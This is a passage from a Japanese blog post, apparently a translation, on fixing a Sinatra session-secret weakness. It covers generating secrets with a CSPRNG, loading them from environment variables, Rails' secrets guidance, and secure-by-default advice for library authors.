しかし、話すスペシャリストがいない場合のために、アプリケーションを実行して実行するための簡単な手順をいくつか示します。

暗号的に安全な擬似乱数生成器(CSPRNG)を使用してキーを生成する必要があります。これはUnixシステムでは`/dev/urandom`からデータを読み取り、base64でエンコードして、印刷可能なASCII文字にすることで実行できます。

$ head -c20 /dev/urandom | base64
Xe005osOAE8ZRMDReizQJjlLrrs=

ここでは、20バイト、つまり160ビットのキーを生成しています。使用するキーサイズは何であるべきかは、セキュリティスペシャリストに尋ねるべき優れた質問です。SHA-1の長さが20バイトであるため、その長さを選びました。秘密を長くしても、役立ちません。160ビットが安全でないと判断した場合は、SHA-1を置き換えるだけでなく、セッションシークレットの長さも増やす必要があります。

次に、この秘密をソースコードに追加する代わりに、環境変数を通じて動的に参照します。

set :session_secret, ENV.fetch('SESSION_SECRET') { SecureRandom.hex(20) } 

これにより、環境変数からセッションシークレットを取得しようとします。そして、環境変数を指定し忘れた場合に備えて、環境変数が存在しないときに動的に生成します。

最後に、アプリケーションの起動時にこの環境変数を指定する必要があります。

SESSION_SECRET=’Xe005osOAE8ZRMDReizQJjlLrrs=’ ruby sinatra-app.rb -p 8080 

アプリケーションの起動時に秘密をどこに保持すべきかを疑問に思っているなら、「すべてタートル」の問題にぶつかっており、Danielの講演を確認する必要があります。自動化のレベル、運用チームの成熟度、必要なセキュリティレベルに応じて、さまざまな戦略があります。すぐに何かを配置する必要がある場合は、1Password TeamsDashlane Business、またはpassなどのチームパスワードマネージャーのセットアップを検討してください。

あるいは、クライアントにセッションデータを保存し、セッションシークレットを使用して整合性を確保する代わりに、Rack::Session::Poolを使用してサーバーにデータを保存し、Cookieに保存されているランダムなセッション識別子を使用して特定のクライアントに関連付けることができます。この戦略により、このケースでは秘密の必要性がなくなりますが、ほとんどすべてのアプリケーションには適切に管理する必要がある秘密が存在することを覚えておいてください。データベースパスワード、APIキー、TLS秘密キー、その他の暗号化トークンはすべて、漏洩したり、安全に生成されなかったりすると、壊滅的な結果を招く可能性があるため、秘密管理戦略について検討する価値があるでしょう。Webアプリケーションセキュリティの基本に関するこの記事で、ランダムなセッション識別子を使用したセキュアなセッション管理についてさらに読むことができます。

ライブラリおよびフレームワーク作成者向け

理想的には、この姿勢はデリバリーチームを超えて、フレームワークやライブラリにも広がるべきです。例えば、Railsは近年、生成された設定ファイルにおけるシークレット管理の重要性を強調する上で良い仕事をしてきました。

ファイル `config/secrets.yml`…

  
  # [snip]
  
  # Make sure the secret is at least 30 characters and all random,
  # no regular words or you'll be exposed to dictionary attacks.
  # You can use `rails secret` to generate a secure secret key.
  
  # [snip]
  
  # Do not keep production secrets in the repository,
  # instead read values from the environment.
  production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>]]></pre>

残念ながら、私がこの脆弱性を発見した時点では、Sinatraはそのドキュメントでそれほど明確ではありませんでした。

まず、「super secret」の代わりに使用する値の生成方法が示されていません。どれくらいの長さにするべきでしょうか?2つの辞書単語で「ランダム」と言えるのでしょうか?例には2つの単語しかありませんから、それは理にかなっているでしょう。シークレットを作成したら、それをソースコード管理にチェックインすべきでしょうか?この設定ファイルの残りの部分はチェックインされているので、そうすべきなのでしょう。

この記事の冒頭で、このドキュメントの例がまさに私たちのアプリケーションで見つかったものだったことを思い出されるかもしれません。このようなコードをコピー&ペーストして疑問を持たずに使用することは間違いなく悪い習慣ですが、これがどのようにして見過ごされたのかを想像するのは容易です。開発者がテストを通過するために素早くその行を追加し、後で変更するつもりだったが、すべてが「グリーン」だったので忘れてしまったのかもしれません。あるいは、高優先度の本番環境の問題が発生し、即座に対応が必要になった際に、正しいキーの生成方法を調査しに行ったのかもしれません。

もしSinatraの例が、シークレットに環境変数を使用することと、シークレット生成の安全な方法を明確に説明していたら、私はおそらくこの記事を書かなかったでしょう。

最後に、SinatraとRackで、この問題の発生を防ぐために選択できたコード設計上の選択肢がいくつかあります。Sinatraは`:session_secret`にバリデーションを追加し、例えば16進エンコードされた64バイトのデータであることを確認することができます。そうすることで、弱すぎる値を誤って設定するのをはるかに難しくすることができます。Rack側では、ネイティブのRubyオブジェクトをシリアライズおよびデシリアライズできることは便利ですが、安全ではないことが示されています。「データとコードの分離」という安全な開発原則に違反し、攻撃者が入力データを操作することで予期しない方法でコードパスを変更する機会を与えます。Cookieデータは信頼されているはずですが、「多層防御」の原則は、既にいくつかの軽減策を回避した攻撃者を考慮することを推奨しています。

結論

結局のところ、良いニュースは、この問題を防止できた場所が多数あるということです。

アプリケーション開発者は、基本的なセキュリティ意識を念頭に置き、セキュリティを真剣に考える文化の醸成に貢献することができます。重要な原則の1つは、「シークレットを秘密にする」ことです。暗号学的に安全な乱数ジェネレータを使用してシークレットを生成し、シークレット管理戦略を開発することで、これを達成することができます。

ライブラリとフレームワークの作者は、デフォルトで安全な例と初期設定を含め、「データとコードの分離」や「多層防御」などの安全な開発ガイドラインに従うことができます。

実際、Sinatraは現在環境変数からセッションシークレットを含めることを推奨しており、キーを安全に生成する方法に関する明確な指示を提供しています。@zzakさんと@grempeさんありがとうございます!

私たちの業界がソフトウェアの脆弱性の影響をますます認識していくにつれて、このような予防的な対策がさらに実践されるようになることを願っています。


重要な改訂

2017年4月3日: 記事の残りを公開

2017年3月30日: 第1回目を公開